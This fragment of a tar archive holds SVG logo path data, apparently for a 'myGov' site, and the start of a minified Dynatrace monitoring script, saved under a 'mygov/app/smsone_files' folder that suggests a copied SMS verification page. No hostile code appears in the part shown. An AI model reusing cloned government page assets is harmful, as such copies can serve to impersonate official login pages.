,3.7,2.48l0,10.78c0,2.6,1.1,4.87,2.62,5.57l5.19,3.3c.07,1.66-1,3.14-.53,4.91v.1Zm7.37,10.06A34.79,34.79,0,0,0,165,90.68c-.1-.44-.53-.82-.29-1.3a3.52,3.52,0,0,0,.62-3.66c-.09-.25-.37-.54-.33-.78l-.4-.32,7.32,4.64a1.54,1.54,0,0,0,2.2.13l2.48-1.57c-1.81,2.69,1.13,6.62-1.17,9.17v.19c-.67.87-1,1.74-1.91,2.31-1.15-.48-1.58-1.78-2.25-2.74-1.06-1-1.06-3.09-.44-4.48.44-1.4-.28-2.6-.42-3.86l-.48-.28a5.54,5.54,0,0,0-.67,5.63c.48.87.53,2.08,1.24,2.8a15.6,15.6,0,0,0,2.06,3.57c.19.48-.29.57-.53.81-.52-.33-.43-1.11-.91-1.45Zm3.21,5.4c-.19.58-.58,1.06-.52,1.69l-.2.1c.14-.73-.57-1.16-.38-1.93-.38-.58-.38-1.3-.72-1.93s.38-1.1.72-1.63c.67.28.91.91,1.38,1.49.29.82-.33,1.44-.28,2.21Zm-.29-4.62a16.06,16.06,0,0,0,3.4-7c.34-.24.1-.86.43-1.16-.09-.76.43-1.53.05-2.16.3-1.06-1.4-2-.31-2.7l-.22.1,3.05-1.93a6.65,6.65,0,0,0-.37,4.05c.15.86.86,1.88.2,2.64-2.3,2.8-3.6,6.17-5.13,9.36-.57-.1-.86-.63-1.1-1.16Z" transform="translate(-23 -22)"/><path class="cls-1" d="M226.27,101.86a7.3,7.3,0,0,0-6.94,2.26c-.1.1-.05.25.09.34a1.3,1.3,0,0,0,.63-.14c2.39-.1,4.74-.53,6.41-2,.09-.24-.19-.29-.19-.43Z" transform="translate(-23 -22)"/><path class="cls-1" d="M217.79,103.93c.54-.24,1-.63.78-1.3a.91.91,0,0,0-1.49-.29c-.15.24-.48.44-.34.82a1.38,1.38,0,0,0,1,.77Z" transform="translate(-23 -22)"/><path class="cls-1" d="M125.88,103.26c.09.29.29.67.62.72a.94.94,0,0,0,.86-.25,1,1,0,0,0,.24-1c-.28-.44-.71-.39-1.1-.39a1,1,0,0,0-.62.92Z" transform="translate(-23 -22)"/><path class="cls-1" d="M119,106.19v-.33c-1.82-1.3-3.25-3.23-5.65-3.23-.28.1,0,.29,0,.43a6.49,6.49,0,0,1,2.54,2.42,3.71,3.71,0,0,0,3.11.71Z" transform="translate(-23 -22)"/><path class="cls-1" d="M232.87,102.63a8.86,8.86,0,0,0-4.26,4.58c.29.33.58-.15.91-.15,2-.72,2.92-2.74,4-4.38a1.53,1.53,0,0,0-.67-.05Z" transform="translate(-23 -22)"/><path class="cls-1" d="M128.9,103.64c.24.29.43.58.81.53.34-.29.72-.38.67-.91a1,1,0,0,0-1-.53c-.23.24-.67.43-.47.91Z" transform="translate(-23 -22)"/><path class="cls-1" d="M239.57,103.55l-.24-.29c-1.53.62-2.49,2.26-3.16,3.71-.24.43-.81.91-.57,1.39,1.53-.24,2.34-1.49,3.3-2.6.43-.67.24-1.59.67-2.21Z" transform="translate(-23 -22)"/><path class="cls-1" d="M102.72,104.08a.9.9,0,0,0,.38,1.15,1.11,1.11,0,0,0,1.1-.19.93.93,0,0,0,0-1.06c-.33-.58-1.19-.34-1.48.1Z" transform="translate(-23 -22)"/><path class="cls-1" d="M100.33,104.17a.94.94,0,0,0-.48,1,1,1,0,0,0,1.1.63,1.1,1.1,0,0,0,.67-.58c0-.24-.09-.44-.14-.67a1,1,0,0,0-1.15-.39Z" transform="translate(-23 -22)"/><path class="cls-1" d="M105.3,105.42c.39.39.78.88,1.45.58.57-.09.47-.77.37-1.15a1.32,1.32,0,0,0-1.24-.39,1.11,1.11,0,0,0-.58,1Z" transform="translate(-23 -22)"/><path class="cls-1" d="M114.07,105.09a1.87,1.87,0,0,0-.68.53c-.29.33.24.57.34.86.24,0,.67.15.91-.09s.28-.58.33-.92c-.19-.38-.62-.23-.9-.38Z" transform="translate(-23 -22)"/><path class="cls-1" d="M242.34,106.05a1.28,1.28,0,0,0,1.11.53c.38,0,.57-.43.71-.77-.09-.53-.71-.72-1.19-.72s-.81.43-.63,1Z" transform="translate(-23 -22)"/><path class="cls-1" d="M235.41,106.05a1.05,1.05,0,0,0-2.06.1,1.15,1.15,0,0,0,1.48.72c.2-.15.63-.43.58-.82Z" transform="translate(-23 -22)"/><path class="cls-1" d="M240,105.57c-.29.29-.63.62-.2,1a1.12,1.12,0,0,0,1.15.2,1,1,0,0,0,.43-.82c-.14-.58-1-.63-1.38-.39Z" transform="translate(-23 -22)"/><path class="cls-1" d="M101.81,106.3a.89.89,0,0,0-.47,1,1.09,1.09,0,0,0,1,.68,1,1,0,0,0,.57-1.21,1.09,1.09,0,0,0-1.15-.47Z" transform="translate(-23 -22)"/><path class="cls-1" d="M232.34,108.56a1.06,1.06,0,0,0,.67-1.26.93.93,0,0,0-1.62-.09c-.38.24-.14.77.05,1a1,1,0,0,0,.9.34Z" transform="translate(-23 -22)"/><path class="cls-1" d="M127.7,107.21c-.29.1-.38.29-.63.48-.13.43.15.72.39,1s.53.15.71,0c.16-.29.73-.39.53-.92-.28-.28-.47-.77-1-.62Z" transform="translate(-23 -22)"/><path class="cls-1" d="M243.3,108.17a1.09,1.09,0,0,0-1.1-.67c-.33.1-.38.34-.67.53,0,.43,0,.82.43,1.06a1.27,1.27,0,0,0,1.1-.2c.05-.24.34-.38.24-.72Z" transform="translate(-23 -22)"/><path class="cls-1" d="M242.06,112.46v-.38a12.81,12.81,0,0,0-3-2.56c0-.29.34-.14.53-.19.38-.14.91-.44.71-1a1.61,1.61,0,0,0-.71-.68c-.39-.1-.57.19-.86.25-.82.57.52,1-.1,1.73-.86,0-2-.19-2.63.43.38.34,1,.34,1.29.58a6.45,6.45,0,0,0,4.74,1.83Z" transform="translate(-23 -22)"/><path class="cls-1" d="M219,108.22c-.14.48.24.77.49,1.11a1,1,0,0,0,1.05-.2c0-.23.33-.52.24-.77a1,1,0,0,0-1.78-.14Z" transform="translate(-23 -22)"/><path class="cls-1" d="M113.77,110.05c0-.72-.9-1-1.43-.58,0,.25-.29.44-.24.78a1,1,0,0,0,.87.57c.47,0,.66-.33.8-.77Z" transform="translate(-23 -22)"/><path class="cls-1" d="M113.68,112.94c-.19.43-1,1-.81,1.4a4.92,4.92,0,0,0,3.83-3.18c.23-.67,1-1.06,1-1.73h-.29c-1.38,1-2.92,1.87-3.68,3.51Z" transform="translate(-23 -22)"/><path class="cls-1" d="M217.85,109.67c-.2.38-.44.77-.06,1.15.25.2.58.53,1,.39a1.26,1.26,0,0,0,.82-1.11c-.39-.53-1.2-1-1.77-.43Z" transform="translate(-23 -22)"/><path class="cls-1" d="M221.29,109.86c-.33,0-.43.43-.67.68a1.05,1.05,0,0,0,.63.86c.14,0,.37-.05.47.1a1.18,1.18,0,0,0,.86-1.06c-.14-.58-.86-.63-1.29-.58Z" transform="translate(-23 -22)"/><path class="cls-1" d="M125.06,110.39c-.33-.29-.47-.72-1-.53-.23.24-.66.53-.57,1a.93.93,0,0,0,.91.58,1,1,0,0,0,.71-1Z" transform="translate(-23 -22)"/><path class="cls-1" d="M126.6,110.82c.14.39.53.49.86.58a1.13,1.13,0,0,0,.91-.82,1,1,0,0,0-1.1-.72c-.33.24-.72.48-.67,1Z" transform="translate(-23 -22)"/><path class="cls-1" d="M233.44,114.73c.1-.35-.33-.58-.57-.78a9.45,9.45,0,0,0-2.72-3.51c-.39-.15-.87-.68-1.3-.24a9.86,9.86,0,0,0,2.49,3.85c.72.15,1.34,1,2.1.68Z" transform="translate(-23 -22)"/><path class="cls-1" d="M233.2,111.93c.43.1,1.06.19,1.34-.29a1.15,1.15,0,0,0,.1-1.06c-.33-.14-.58-.43-.91-.38s-.76.24-.91.62.15.82.38,1.11Z" transform="translate(-23 -22)"/><path class="cls-1" d="M131.86,111.5c-.29.29-.81.38-.57,1a.93.93,0,0,0,1.15.58c.48-.24.38-.82.33-1.2-.29-.24-.52-.44-.91-.34Z" transform="translate(-23 -22)"/><path class="cls-1" d="M222.44,115l-1.34-1.45c-.48-.14-.82-1-1.3-.58a.41.41,0,0,0,.2.49c.81,2.16,1.29,4.33,3.45,5.87h.18c.29-.24-.09-.57.05-.91a7,7,0,0,0-1.24-3.42Z" transform="translate(-23 -22)"/><path class="cls-1" d="M136.69,112.94c-1.48-.19-2.81.49-4.21.92a.39.39,0,0,0-.24.43c2.21,1.3,4.89.49,6.8-.86,0,0-.1-.05,0-.1l-2.3-.39Z" transform="translate(-23 -22)"/><path class="cls-1" d="M121.86,117.42c.48.29.72-.24,1.1-.38,2-.48,3.49-2.46,5.12-3.47v-.38c-2.53.24-5.36,1.63-6.22,4.23Z" transform="translate(-23 -22)"/><path class="cls-1" d="M219.62,115.74c-.24-.39-.58-.39-1-.48-.24.14-.57.19-.71.53s0,.77.43,1a.65.65,0,0,0,.9,0,.77.77,0,0,0,.39-1Z" transform="translate(-23 -22)"/><path class="cls-1" d="M215.64,116a.49.49,0,0,0-.61,0,10.47,10.47,0,0,0-4.89.24c-.24.24-.72.1-.76.48,1.43.39,2.92,1.16,4.54.58a2.65,2.65,0,0,0,1.72-1.25Z" transform="translate(-23 -22)"/><path class="cls-1" d="M127.51,118.15c.38-.15.43-.58.57-.77a1,1,0,0,0-1-.82c-.28.09-.67.19-.76.53s.09.57.19.87a1,1,0,0,0,1,.19Z" transform="translate(-23 -22)"/><path class="cls-1" d="M129.8,117c-.24.14-.57.19-.67.44a1.13,1.13,0,0,0,.15,1,1.06,1.06,0,0,0,1,.34,1.77,1.77,0,0,0,.66-.92c-.19-.38-.61-.87-1.1-.82Z" transform="translate(-23 -22)"/><path class="cls-1" d="M217.08,117.76c-.14.34-.62.58-.33,1,.14.24.23.62.57.67a.81.81,0,0,0,1.05-.19,1.2,1.2,0,0,0,.33-.92,1,1,0,0,0-1.62-.53Z" transform="translate(-23 -22)"/><path class="cls-1" d="M219.86,119.5c.57.23.76-.39,1-.63.1-.2,0-.43-.1-.68-.24-.14-.53-.52-.95-.38a.92.92,0,0,0-.58,1.3c.15.1.29.48.58.39Z" transform="translate(-23 -22)"/><path class="cls-1" d="M127.89,119a1.29,1.29,0,0,0-.58,1.39c.2.63.87.63,1.39.53a1.28,1.28,0,0,0,.48-1.3,1.15,1.15,0,0,0-1.29-.62Z" transform="translate(-23 -22)"/><path class="cls-1" d="M127.89,123.3v.25c.77.48,1.53-.25,2.3-.39,1.34-.77,1.62-2.41,1.72-3.76-1.2,1.35-3,2.46-4,3.9Z" transform="translate(-23 -22)"/><path class="cls-1" d="M210.14,119.83a1,1,0,0,0-.62.53c-.14.34-.1.82.24,1s.86.29,1.15,0,.48-.48.28-.77a1.31,1.31,0,0,0-1.05-.68Z" transform="translate(-23 -22)"/><path class="cls-1" d="M137.37,126.54c-.39-1.21,0-2.7-.68-3.81.05-.29-.33-.29-.23-.63a13.06,13.06,0,0,0-1.82-2,.27.27,0,0,0-.34.1c.48,1.69.34,3.62,1.39,5.06.52.49.86,1.4,1.68,1.31Z" transform="translate(-23 -22)"/><path class="cls-1" d="M212.49,120.32c-.24.24-.63.38-.48.86a1.8,1.8,0,0,0,.91.44c.24-.24.67-.34.67-.73a.79.79,0,0,0-1.1-.57Z" transform="translate(-23 -22)"/><path class="cls-1" d="M216.22,120.94c-.19,1.93,1.19,3.33,2.58,4.58H219c.25.1.29-.19.29-.33,0-2-1.48-3.19-2.78-4.3l-.28,0Z" transform="translate(-23 -22)"/><path class="cls-1" d="M214.54,123c-.23.24-.76.48-.71,1,.09.72.9.77,1.43.63a1.11,1.11,0,0,0,.43-.92,1,1,0,0,0-1.15-.67Z" transform="translate(-23 -22)"/><path class="cls-1" d="M208.8,128.7c1.25-1.35,3.06-2.26,3.73-4-.14-.38.63-.91-.14-1A6.73,6.73,0,0,0,208.7,128c0,.19-.14.58.1.72Z" transform="translate(-23 -22)"/><path class="cls-1" d="M214.4,126.43a1.42,1.42,0,0,0,1.06.54c.23-.25.66-.44.66-.87a1,1,0,0,0-1.1-.53c-.28.24-.67.38-.62.86Z" transform="translate(-23 -22)"/><path class="cls-1" d="M166.33,41h14.19a1.19,1.19,0,0,0,0-2.38H166.33a1.19,1.19,0,0,0,0,2.38Zm13.73-2h.52c1,0,.93,1.68,0,1.68-.75,0-1.92-1.68-.53-1.68Zm-5.82,0h1.39c.74,0,2.06,1.68.67,1.68h-1.38c-.75,0-2.07-1.68-.68-1.68Zm-5.81,0h1.39c.74,0,2.05,1.68.66,1.68h-1.39c-.73,0-2.05-1.68-.66-1.68Z" transform="translate(-23 -22)"/><path class="cls-1" d="M180.38,62.67,179.27,67l2.72-1,2.66,1-.81-4.31,1.87.51L185,60.86l.72-2.42-2.11.44,1.05-4-2.66,1-2.72-1,1,4-2.07-.34.58,2.32-.58,2.42,2.17-.61ZM182,59c.67,1.55,2-.09,2,1.55,0,.73-.05,1.57-.67,1.57H181.1c-1,0-1-.65-1-1.62,0-1.4,1.34-.19,1.83-1.5Z" transform="translate(-23 -22)"/><path class="cls-1" d="M182.09,60.81c.61,0,1.46.42,1.46-.21,0-.88-.85-.58-1.46-.58s-1.47-.3-1.47.58c0,.63.84.21,1.47.21Z" transform="translate(-23 -22)"/><polygon class="cls-1" points="150.88 37.79 151.1 37.39 150.63 37.43 150.36 36.94 150.08 37.44 149.61 37.39 149.83 37.79 149.47 38.16 149.93 38.25 149.93 38.76 150.36 38.44 150.78 38.76 150.78 38.25 151.24 38.16 150.88 37.79 150.88 37.79"/><polygon class="cls-1" points="147.82 40.96 147.82 41.47 148.25 41.15 148.68 41.47 148.68 40.96 149.14 40.88 148.78 40.5 149 40.1 148.53 40.14 148.25 39.65 147.97 40.15 147.51 40.1 147.72 40.5 147.37 40.88 147.82 40.96 147.82 40.96"/><polygon class="cls-1" points="151.3 40.16 150.94 40.53 151.39 40.62 151.39 41.12 151.82 40.8 152.25 41.12 152.25 40.62 152.7 40.53 152.36 40.16 152.58 39.75 152.1 39.79 151.82 39.31 151.54 39.8 151.08 39.75 151.3 40.16 151.3 40.16"/><polygon class="cls-1" points="152.48 42.37 152.21 42.39 152.06 42.12 151.9 42.4 151.63 42.37 151.76 42.6 151.56 42.81 151.82 42.86 151.82 43.15 152.06 42.97 152.3 43.15 152.3 42.86 152.55 42.81 152.36 42.6 152.48 42.37 152.48 42.37"/><polygon class="cls-1" points="150.52 43.12 149.71 43.18 149.23 42.35 148.75 43.2 147.96 43.12 148.33 43.81 147.72 44.45 148.5 44.59 148.5 45.46 149.23 44.91 149.97 45.46 149.97 44.59 150.75 44.45 150.14 43.81 150.52 43.12 150.52 43.12"/><polygon class="cls-1" points="147.15 10.11 146.88 14.58 150.19 11.58 153.49 14.58 153.22 10.11 157.61 9.38 153.97 6.8 156.14 2.89 151.88 4.15 150.19 0 148.51 4.15 144.23 2.89 146.4 6.8 142.77 9.38 147.15 10.11 147.15 10.11"/><path class="cls-1" d="M152.2,117.05l.63,2.66a1.49,1.49,0,0,0,1,1.28,3.47,3.47,0,0,0,2,0,3.11,3.11,0,0,0,1.73-1,2.27,2.27,0,0,0,.17-1.67l-.6-2.53c-.13-.53.07-.67.58-.86l0-.2-2.09.5,0,.2c.82-.17,1,.08,1.12.56l.57,2.44a1.54,1.54,0,0,1-1.28,2.13c-1.37.32-1.62-.77-1.73-1.23l-.63-2.65c-.16-.71.13-.78.75-1l-.05-.2-3.21.77.05.2c.54-.08.79-.12.95.55Z" transform="translate(-23 -22)"/><path class="cls-1" d="M160.55,117.55l.7.11c.67.11,1.16.2,1.28.73,0,.11.15.91-1,1.16a2,2,0,0,1-2.34-1.27l-.27.06.43,2,.28-.07c0-.13,0-.29.23-.33a9.12,9.12,0,0,0,1.69-.09c1.75-.4,2.14-1.5,2-2.2a1.68,1.68,0,0,0-1.37-1.24l-1.53-.27c-.88-.16-1.1-.29-1.19-.72s.36-.88.86-1a2,2,0,0,1,2.18,1.06l.27-.06-.38-1.73-.28.06c0,.16,0,.29-.26.34a8.66,8.66,0,0,0-1.55.07c-1.81.4-1.86,1.56-1.75,2s.23,1.06,2,1.36Z" transform="translate(-23 -22)"/><path class="cls-1" d="M164.05,115.18c.07-1.33,1.07-1.46,1.74-1.56l.41,4.3c.07.68-.17.72-.87.84l0,.2,3.47-.33,0-.21c-.73,0-1,0-1-.65l-.41-4.3c.67,0,1.68-.09,2,1.19l.28,0-.18-1.64-5.83.56.13,1.65.28,0Z" transform="translate(-23 -22)"/><path class="cls-1" d="M173.52,118.36c-.65-.09-.86-.12-.85-.77l0-1.61H173l2,2.6,1.83,0h0l2,.24,0-.2c-.33-.06-.79-.14-.76-.45a5.59,5.59,0,0,1,.56-1l2.18.28a4.09,4.09,0,0,1,.31,1.13c0,.27-.21.26-.82.22l0,.21,3.14.39,0-.21c-.46,0-.58-.33-.91-1.25l-1.63-4.55-.28,0-2.69,4.18c-.35.54-.53.79-1,.82a.43.43,0,0,1-.31-.16l-1.91-2.36c.53-.13,1.54-.37,1.55-1.38,0-1.37-2-1.48-2.72-1.49l-3.14-.06v.2c.55,0,.85.07.84.78l-.07,3.61c0,.67-.21.69-.87.74v.21l3.29.06v-.2Zm6.37-3.3.73,2.1-1.88-.24,1.15-1.86Zm-7.14-1.43c.05-.25.07-.34.61-.34a1,1,0,0,1,1.16,1.21c0,1.06-.53,1.24-1.81,1.22l0-2.09Z" transform="translate(-23 -22)"/><path class="cls-1" d="M189.75,118.85l-.29,0a2.38,2.38,0,0,1-2.71,1.13c-.64-.12-.84-.22-.77-.61l.69-3.8c.13-.71.42-.66,1.1-.57l0-.19-3.35-.62,0,.2c.43.1.82.19.72.72l-.7,3.91c-.1.49-.39.46-.93.41l0,.21,5.55,1,.73-1.76Z" transform="translate(-23 -22)"/><path class="cls-1" d="M189.36,120.73l3.34.7,0-.2c-.51-.14-.89-.24-.79-.76l.81-3.88c.11-.54.57-.46,1-.38l.05-.19-3.35-.71,0,.2c.43.12.88.23.77.76l-.81,3.88c-.1.49-.48.45-1,.38l0,.2Z" transform="translate(-23 -22)"/><path class="cls-1" d="M192.91,121.41l0,.2,2,.21,0-.21c-.33,0-.8-.12-.77-.42a4.88,4.88,0,0,1,.54-1l2.19.22a4.28,4.28,0,0,1,.33,1.13c0,.27-.2.26-.81.24l0,.2,3.15.33,0-.2c-.47,0-.6-.33-.94-1.25l-1.73-4.5-.27,0L194,120.56c-.35.58-.51.84-1,.85Zm3-3.42.78,2.08-1.89-.2,1.11-1.88Z" transform="translate(-23 -22)"/><path class="cls-1" d="M171.48,57.26v.58a.28.28,0,0,0,.27.28h2.09a.29.29,0,0,0,.28-.28v-.63a1.3,1.3,0,0,0,.42-1c0-2-1.11-.12-1.72-1.8-.44,1.42-1.77.23-1.77,1.75a1.2,1.2,0,0,0,.43,1.1Zm1.23-1.71c.57,0,1.47-.21,1.47.75,0,.68-.78.29-1.35.29s-1.35.39-1.35-.29c0-1,.66-.75,1.23-.75Z" transform="translate(-23 -22)"/><path class="cls-1" d="M191.66,80.36a.8.8,0,1,0,0-1.59.8.8,0,1,0,0,1.59Z" transform="translate(-23 -22)"/><path class="cls-1" d="M187.42,52.53a.45.45,0,0,0,.43-.47s-.43-.85-.43-.85a4.75,4.75,0,0,0-.43.85.45.45,0,0,0,.43.47Z" transform="translate(-23 -22)"/><path class="cls-1" d="M158.52,52.53a.45.45,0,0,0,.43-.47s-.44-.85-.44-.85a4.8,4.8,0,0,0-.42.85.45.45,0,0,0,.43.47Z" transform="translate(-23 -22)"/><path class="cls-1" d="M165.75,52.53a.45.45,0,0,0,.42-.47s-.43-.85-.43-.85a4.8,4.8,0,0,0-.42.85.45.45,0,0,0,.43.47Z" transform="translate(-23 -22)"/><path class="cls-1" d="M173,52.53a.45.45,0,0,0,.43-.47s-.44-.85-.44-.85a4.8,4.8,0,0,0-.42.85.45.45,0,0,0,.43.47Z" transform="translate(-23 -22)"/><path class="cls-1" d="M180.19,52.53a.45.45,0,0,0,.43-.47s-.43-.85-.43-.85a4.75,4.75,0,0,0-.43.85.46.46,0,0,0,.43.47Z" transform="translate(-23 -22)"/><path class="cls-1" d="M158.09,62a.46.46,0,0,0,.43.47A.45.45,0,0,0,159,62a5.17,5.17,0,0,0-.42-.85s-.44.83-.44.85Z" transform="translate(-23 -22)"/><path class="cls-1" d="M158.09,71.62a.46.46,0,0,0,.43.47.45.45,0,0,0,.43-.47,4.8,4.8,0,0,0-.42-.85s-.44.83-.44.85Z" transform="translate(-23 -22)"/><path class="cls-1" d="M159.25,79.24a.45.45,0,0,0,.42.47.46.46,0,0,0,.44-.47,5,5,0,0,0-.43-.84l-.43.84Z" transform="translate(-23 -22)"/><path class="cls-1" d="M165.31,83.3a.43.43,0,1,0,.86,0,5.12,5.12,0,0,0-.43-.85l-.43.85Z" transform="translate(-23 -22)"/><path class="cls-1" d="M187.36,62a.45.45,0,0,0,.43.47.46.46,0,0,0,.43-.47s-.44-.85-.44-.85a5.17,5.17,0,0,0-.42.85Z" transform="translate(-23 -22)"/><path class="cls-1" d="M187.36,71.62a.45.45,0,0,0,.43.47.46.46,0,0,0,.43-.47s-.44-.85-.44-.85a4.8,4.8,0,0,0-.42.85Z" transform="translate(-23 -22)"/><path class="cls-1" d="M186.2,79.24a.43.43,0,1,0,.86,0l-.44-.84a5,5,0,0,0-.42.84Z" transform="translate(-23 -22)"/><path class="cls-1" d="M180.14,83.3a.45.45,0,0,0,.43.48.46.46,0,0,0,.43-.48l-.44-.85a5.17,5.17,0,0,0-.42.85Z" transform="translate(-23 -22)"/><path class="cls-1" d="M172.76,87.6a.43.43,0,1,0,.86,0l-.43-.84a5,5,0,0,0-.43.84Z" transform="translate(-23 -22)"/><path class="cls-1" d="M179.89,75.35c-.4.83-.4,2-1.35,2.43a.75.75,0,0,0-.28.73l.23.19c.59-.32,1.72-.42,1.64-1.42a3.42,3.42,0,0,1,.86-1.19.94.94,0,0,1,1,.5A1.8,1.8,0,0,1,180.8,78c-.08.09,0,.23,0,.37.18.32.68.18,1,.14.77-.51,1.09-1.42,1.77-1.7.09.46-.91.6-.27,1,.41-.09.95.05,1.23-.5-.32-.78,1.08-1.14.22-1.83,0-.68.73-1,.69-1.69-.28-.74-1.14-.74-1.37-1.42a1,1,0,0,1,.95,0c.09.14.32.18.61.08l.27-.78c0-.05-.31-.36-.51-.31-.77.18-1.59.28-2.05,1a1.53,1.53,0,0,0,.73,1.19c.27-.09.32.18.5.32a.32.32,0,0,1-.32.41c-.54-.55-1.5.18-1.91-.5.19-.69.55-1.47,0-2.11,0-.14.27-.27.14-.41-.23-.64-.92-.14-1.33-.14a1.77,1.77,0,0,0-1.64.82,1.35,1.35,0,0,0,.37.69c.18,0,.27,0,.32.19l-.46.27a.9.9,0,0,1,.18.51c-.31.13-.63-.33-.77-.56s.05-1-.45-1.1a2,2,0,0,0-.4.14,1.32,1.32,0,0,0-.18.76,3.21,3.21,0,0,0,.17.81,7.69,7.69,0,0,1,1.72,1.68Z" transform="translate(-23 -22)"/><path class="cls-1" d="M151.74,79.12a.8.8,0,1,0,0,1.59.8.8,0,1,0,0-1.59Z" transform="translate(-23 -22)"/><path class="cls-1" d="M104,107.23a.89.89,0,1,0,.89-.85.87.87,0,0,0-.89.85Z" transform="translate(-23 -22)"/><path class="cls-1" d="M145.86,122.61l0,.2,2-.23,0-.21c-.32,0-.79,0-.83-.25a4.87,4.87,0,0,1,.31-1.1l2.18-.26a4.48,4.48,0,0,1,.57,1c0,.28-.14.3-.74.41l0,.21,3.15-.37,0-.2c-.47.07-.65-.19-1.19-1l-2.66-4-.27,0-1.64,4.7c-.22.65-.32.94-.84,1.07Zm2.23-4,1.21,1.86-1.89.23.68-2.09Z" transform="translate(-23 -22)"/><path class="cls-1" d="M542,109.18H547v-19a13.49,13.49,0,0,1,3.47-2.93,7.75,7.75,0,0,1,4-1.16,5.33,5.33,0,0,1,4.28,1.67c1,1.11,1.42,2.84,1.42,5.17v16.2h5.06v-17q0-5.28-2.42-8t-7-2.72a10.6,10.6,0,0,0-5.35,1.3,14.06,14.06,0,0,0-4.12,3.6l.7,1.46V82.05H542v27.13Zm22.87-19a15.51,15.51,0,0,1,3.64-2.88,8.36,8.36,0,0,1,4.22-1.16,5.26,5.26,0,0,1,4.23,1.67c1,1.11,1.42,2.84,1.42,5.17v16.2h5.06v-17c0-3.52-.8-6.19-2.42-8s-4-2.72-7-2.72a11.65,11.65,0,0,0-5.52,1.27,18.28,18.28,0,0,0-4.66,3.63l1,3.77Zm26.43,30.63a9.9,9.9,0,0,0,7-2.59q2.81-2.58,5.06-8.45l11.09-27.72H609l-7.65,20.19-8.61-20.19h-5.6l12.22,27.56.11-3.55-1,2.58a14.29,14.29,0,0,1-3.66,5.79,7.28,7.28,0,0,1-4.79,1.69h-.27l1,4.69Zm54.07-12a31.32,31.32,0,0,0,6.43-2.58V90h-13v4.79h7.64v7.8a18.29,18.29,0,0,1-3.82,1.38,22.55,22.55,0,0,1-5.22.51,14.62,14.62,0,0,1-7.35-1.81,12.63,12.63,0,0,1-5-5.06,15.45,15.45,0,0,1-1.77-7.5A16,16,0,0,1,625,82.54a12.88,12.88,0,0,1,4.74-5.09,12.64,12.64,0,0,1,6.65-1.8,12.24,12.24,0,0,1,6.16,1.48,16.46,16.46,0,0,1,4.66,4l4.3-3.29a18.21,18.21,0,0,0-6.35-5.43,18.56,18.56,0,0,0-8.72-2,19,19,0,0,0-9.58,2.45A17.69,17.69,0,0,0,620,79.82a20.9,20.9,0,0,0-2.5,10.31,20.6,20.6,0,0,0,2.48,10.2,17.43,17.43,0,0,0,7,6.91,21.2,21.2,0,0,0,10.41,2.48,30.08,30.08,0,0,0,7.94-.92Zm35.34-.88a13,13,0,0,0,5.11-5,15.46,15.46,0,0,0,0-14.59,12.94,12.94,0,0,0-5.11-5,16.38,16.38,0,0,0-15,0,13.08,13.08,0,0,0-5.14,5,15.19,15.19,0,0,0,0,14.53,13.11,13.11,0,0,0,5.14,5,16.46,16.46,0,0,0,15,0Zm-12.22-4.12a8.42,8.42,0,0,1-3.28-3.31,10.56,10.56,0,0,1,0-9.74,8.38,8.38,0,0,1,3.28-3.32,10.09,10.09,0,0,1,9.47,0,8.32,8.32,0,0,1,3.26,3.29,10.8,10.8,0,0,1,0,9.74A8.25,8.25,0,0,1,678,103.8a10.15,10.15,0,0,1-9.5,0Zm32.19,5.38h4.52l11.3-27.13h-5.33l-9,22.45h1.62l-8.88-22.45h-5.6l11.36,27.13Z" transform="translate(-23 -22)"/></svg>mygov/app/smsone_files/ruxitagentjs_ICA2Vfghjqrux_10243220606153550.js.download000064400000736201151676702570022436 0ustar00/*
 Copyright and licenses see https://www.dynatrace.com/company/trust-center/customers/reports/*/
(function(){"undefined"!==typeof window&&window.setTimeout&&(window.setTimeout=window.setTimeout);this.dT_&&dT_.prm&&dT_.prm();(function(){function ra(){document.cookie="".concat("__dTCookie","=").concat("1",";SameSite=Lax");var Ua=-1!==document.cookie.indexOf("__dTCookie");document.cookie="".concat("__dTCookie","=").concat("1","; expires=Thu, 01-Jan-1970 00:00:01 GMT");return Ua}function La(){return void 0===db.dialogArguments?navigator.cookieEnabled||ra():ra()}function gb(){var Ua;if(La()&&!window.dT_){var Pa=
(Ua={},Ua.cfg="#CONFIGSTRING#|auto=#AUTO#|domain=#DOMAIN#|rid=RID_#REQUEST_ID#|rpid=#RESPONSE_ID#|app=#APP#",Ua.iCE=La,Ua);window.dT_=Pa}}var db="undefined"!==typeof window?window:self,Ea;db.dT_?(null===(Ea=db.console)||void 0===Ea?void 0:Ea.log("Duplicate agent injection detected, turning off redundant initConfig."),db.dT_.di=1):gb()})()})();
/*
 Copyright and licenses see https://www.dynatrace.com/company/trust-center/customers/reports/*/
(function(){"undefined"!==typeof window&&window.setTimeout&&(window.setTimeout=window.setTimeout);this.dT_&&dT_.prm&&dT_.prm();(function(){function ra(k,w,M){void 0===M&&(M=0);var A=-1;w&&(null===k||void 0===k?0:k.indexOf)&&(A=k.indexOf(w,M));return A}function La(){var k;return!(null===(k=Bb.console)||void 0===k||!k.log)}function gb(k,w){if(!w)return"";var M=k+"=";k=ra(w,M);if(0>k)return"";for(;0<=k;){if(0===k||" "===w.charAt(k-1)||";"===w.charAt(k-1))return M=k+M.length,k=ra(w,";",k),0<=k?w.substring(M,
k):w.substring(M);k=ra(w,M,k+M.length)}return""}function db(k){return gb(k,document.cookie)}function Ea(){}function Ua(){var k=0;try{k=Math.round(Bb.performance.timeOrigin)}catch(w){}if(0>=k||isNaN(k)||!isFinite(k)){k=0;try{k=Bb.performance.timing.navigationStart}catch(w){}k=0>=k||isNaN(k)||!isFinite(k)?Jd:k}tg=k;J=Pa;return tg}function Pa(){return tg}function za(){return J()}function ab(){var k,w=0;if(null===(k=null===Bb||void 0===Bb?void 0:Bb.performance)||void 0===k?0:k.now)try{w=Math.round(Bb.performance.now())}catch(M){}return 0>=
w||isNaN(w)||!isFinite(w)?(new Date).getTime()-J():w}function ba(k,w){void 0===w&&(w=document.cookie);return gb(k,w)}function Z(){}function Aa(k,w){return function(){k.apply(w,arguments)}}function na(k){if(!(this instanceof na))throw new TypeError("Promises must be constructed via new");if("function"!==typeof k)throw new TypeError("not a function");this.ka=0;this.oc=!1;this.sa=void 0;this.Ha=[];va(k,this)}function ta(k,w){for(;3===k.ka;)k=k.sa;0===k.ka?k.Ha.push(w):(k.oc=!0,na.Jb(function(){var M=
